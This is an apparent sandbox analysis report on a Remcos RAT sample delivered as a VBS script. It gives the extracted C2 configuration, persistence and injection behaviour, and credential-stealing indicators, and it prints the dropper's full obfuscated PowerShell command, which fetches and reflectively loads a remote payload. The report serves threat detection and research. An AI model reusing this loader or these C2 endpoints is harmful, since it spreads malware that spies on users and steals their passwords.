remcos | a46173f3115e45f7a55120e49b3a625d5198d1ea0b600a174ad05a27b9d3f92d

Analysis

max time kernel
148s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
17-05-2024 01:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a46173f3115e45f7a55120e49b3a625d5198d1ea0b600a174ad05a27b9d3f92d.vbs
Size

156KB
MD5

8a2a1b975419f7619d9580c2974ecdbc
SHA1

684125ffbbb03a5c1950976f8730d68dd01e5a63
SHA256

a46173f3115e45f7a55120e49b3a625d5198d1ea0b600a174ad05a27b9d3f92d
SHA512

02c6faa7fb9ecfeacc31468766a4ec7697d3a54c3dd0b98d9e0876c1135e468175f2e62a4344210843b9fff8e32068b65119d4a29b871c2414b11426d6dadb22
SSDEEP

1536:ZlGd99CObiFCocEW1aJK66n5yhtW0/5JpWn4ctDg0BhbUZlu9gISsRf:bGdw9JK6X/vcxg0Bhcg

Score

10^/10

remcos protected collection execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

Protected

janbours92harbu01.duckdns.org:3980

janbours92harbu01.duckdns.org:3981

janbours92harbu02.duckdns.org:3980

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
kajsoiestc.dat
keylog_flag
false
keylog_path
%AppData%
mouse_option
false
mutex
aksoiestgb-1YOAXH
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 19 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3684-33-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-36-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-37-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-40-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-45-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-46-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-47-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-48-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-49-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-51-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-73-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-75-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-74-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-77-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-76-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-78-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-79-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-80-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/3684-81-0x0000000000400000-0x0000000000482000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM

Detects executables built or packed with MPress PE compressor 12 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2836-54-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2836-56-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4740-59-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2836-58-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/1820-60-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/1820-62-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/1820-61-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4740-57-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4740-55-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3684-68-0x0000000010000000-0x0000000010019000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3684-71-0x0000000010000000-0x0000000010019000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3684-72-0x0000000010000000-0x0000000010019000-memory.dmp	INDICATOR_EXE_Packed_MPress

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4740-59-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4740-59-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral2/memory/4740-59-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral2/memory/2836-58-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4740-59-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/2836-58-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/1820-62-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

Blocklisted process makes network request 5 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

4 5024 WScript.exe
5 5024 WScript.exe
9 5024 WScript.exe
14 4860 powershell.exe
33 4860 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1836 powershell.exe
4860 powershell.exe

flow	pid	process
4	5024	WScript.exe
5	5024	WScript.exe
9	5024	WScript.exe
14	4860	powershell.exe
33	4860	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

RegSvcs.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	RegSvcs.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\radiantemente.vbs"	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exeRegSvcs.exe

description	pid	process	target process
PID 4860 set thread context of 3684	4860	powershell.exe	RegSvcs.exe
PID 3684 set thread context of 2836	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 set thread context of 4740	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 set thread context of 1820	3684	RegSvcs.exe	RegSvcs.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exepowershell.exeRegSvcs.exeRegSvcs.exe

pid	process
1836	powershell.exe
1836	powershell.exe
4860	powershell.exe
4860	powershell.exe
2836	RegSvcs.exe
2836	RegSvcs.exe
1820	RegSvcs.exe
1820	RegSvcs.exe
2836	RegSvcs.exe
2836	RegSvcs.exe

Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

RegSvcs.exe

pid process

3684 RegSvcs.exe
3684 RegSvcs.exe
3684 RegSvcs.exe
3684 RegSvcs.exe
3684 RegSvcs.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeRegSvcs.exe

description pid process

Token: SeDebugPrivilege 1836 powershell.exe
Token: SeDebugPrivilege 4860 powershell.exe
Token: SeDebugPrivilege 1820 RegSvcs.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

RegSvcs.exe

pid process

3684 RegSvcs.exe

pid	process
3684	RegSvcs.exe
3684	RegSvcs.exe
3684	RegSvcs.exe
3684	RegSvcs.exe
3684	RegSvcs.exe

description	pid	process
Token: SeDebugPrivilege	1836	powershell.exe
Token: SeDebugPrivilege	4860	powershell.exe
Token: SeDebugPrivilege	1820	RegSvcs.exe

pid	process
3684	RegSvcs.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

WScript.exepowershell.exepowershell.exeRegSvcs.exe

description	pid	process	target process
PID 5024 wrote to memory of 1836	5024	WScript.exe	powershell.exe
PID 5024 wrote to memory of 1836	5024	WScript.exe	powershell.exe
PID 1836 wrote to memory of 4860	1836	powershell.exe	powershell.exe
PID 1836 wrote to memory of 4860	1836	powershell.exe	powershell.exe
PID 4860 wrote to memory of 2220	4860	powershell.exe	cmd.exe
PID 4860 wrote to memory of 2220	4860	powershell.exe	cmd.exe
PID 4860 wrote to memory of 3684	4860	powershell.exe	RegSvcs.exe
PID 4860 wrote to memory of 3684	4860	powershell.exe	RegSvcs.exe
PID 4860 wrote to memory of 3684	4860	powershell.exe	RegSvcs.exe
PID 4860 wrote to memory of 3684	4860	powershell.exe	RegSvcs.exe
PID 4860 wrote to memory of 3684	4860	powershell.exe	RegSvcs.exe
PID 4860 wrote to memory of 3684	4860	powershell.exe	RegSvcs.exe
PID 4860 wrote to memory of 3684	4860	powershell.exe	RegSvcs.exe
PID 4860 wrote to memory of 3684	4860	powershell.exe	RegSvcs.exe
PID 4860 wrote to memory of 3684	4860	powershell.exe	RegSvcs.exe
PID 4860 wrote to memory of 3684	4860	powershell.exe	RegSvcs.exe
PID 4860 wrote to memory of 3684	4860	powershell.exe	RegSvcs.exe
PID 4860 wrote to memory of 3684	4860	powershell.exe	RegSvcs.exe
PID 3684 wrote to memory of 2836	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 2836	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 2836	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 2836	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 4740	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 4740	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 4740	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 4740	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 1280	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 1280	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 1280	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 672	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 672	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 672	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 1820	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 1820	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 1820	3684	RegSvcs.exe	RegSvcs.exe
PID 3684 wrote to memory of 1820	3684	RegSvcs.exe	RegSvcs.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a46173f3115e45f7a55120e49b3a625d5198d1ea0b600a174ad05a27b9d3f92d.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreDMDgTreMgBkDgTreDMDgTreMgDgTre2DgTreDEDgTreNgDgTre1DgTreGMDgTreYgBiDgTreC0DgTreMDgTreDgTre0DgTreGYDgTreOQDgTretDgTreGIDgTreMgDgTreyDgTreDQDgTreLQDgTre2DgTreDYDgTreMDgTreDgTre0DgTreC0DgTreZDgTreDgTrewDgTreDgDgTreODgTreDgTrezDgTreDIDgTreZQBmDgTreD0DgTrebgBlDgTreGsDgTrebwB0DgTreCYDgTreYQBpDgTreGQDgTreZQBtDgTreD0DgTredDgTreBsDgTreGEDgTrePwB0DgTreHgDgTredDgTreDgTreuDgTreDEDgTreMDgTreDgTre1DgTreDDgTreDgTreNQDgTrexDgTreHMDgTrebwBjDgTreG0DgTreZQByDgTreHIDgTrebwBzDgTreHMDgTreZQBmDgTreG8DgTrecgBwDgTreC8DgTrebwDgTrevDgTreG0DgTrebwBjDgTreC4DgTredDgTreBvDgTreHDgTreDgTrecwBwDgTreHDgTreDgTreYQDgTreuDgTreGYDgTreYwDgTre3DgTreGEDgTreYgDgTretDgTreDQDgTreMgDgTrewDgTreDIDgTreaDgTreBjDgTreHIDgTreYQBtDgTreC8DgTreYgDgTrevDgTreDDgTreDgTredgDgTrevDgTreG0DgTrebwBjDgTreC4DgTrecwBpDgTreHDgTreDgTreYQBlDgTreGwDgTreZwBvDgTreG8DgTreZwDgTreuDgTreGUDgTreZwBhDgTreHIDgTrebwB0DgTreHMDgTreZQBzDgTreGEDgTreYgBlDgTreHIDgTreaQBmDgTreC8DgTreLwDgTre6DgTreHMDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreMQDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreQwDgTre6DgTreFwDgTreUDgTreByDgTreG8DgTreZwByDgTreGEDgTrebQBEDgTreGEDgTredDgTreBhDgTreFwDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreHIDgTreYQBkDgTreGkDgTreYQBuDgTreHQDgTreZQBtDgTreGUDgTrebgB0DgTreGUDgTreJwDgTresDgTreCcDgTreUgBlDgTreGcDgTreUwB2DgTreGMDgTrecwDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( 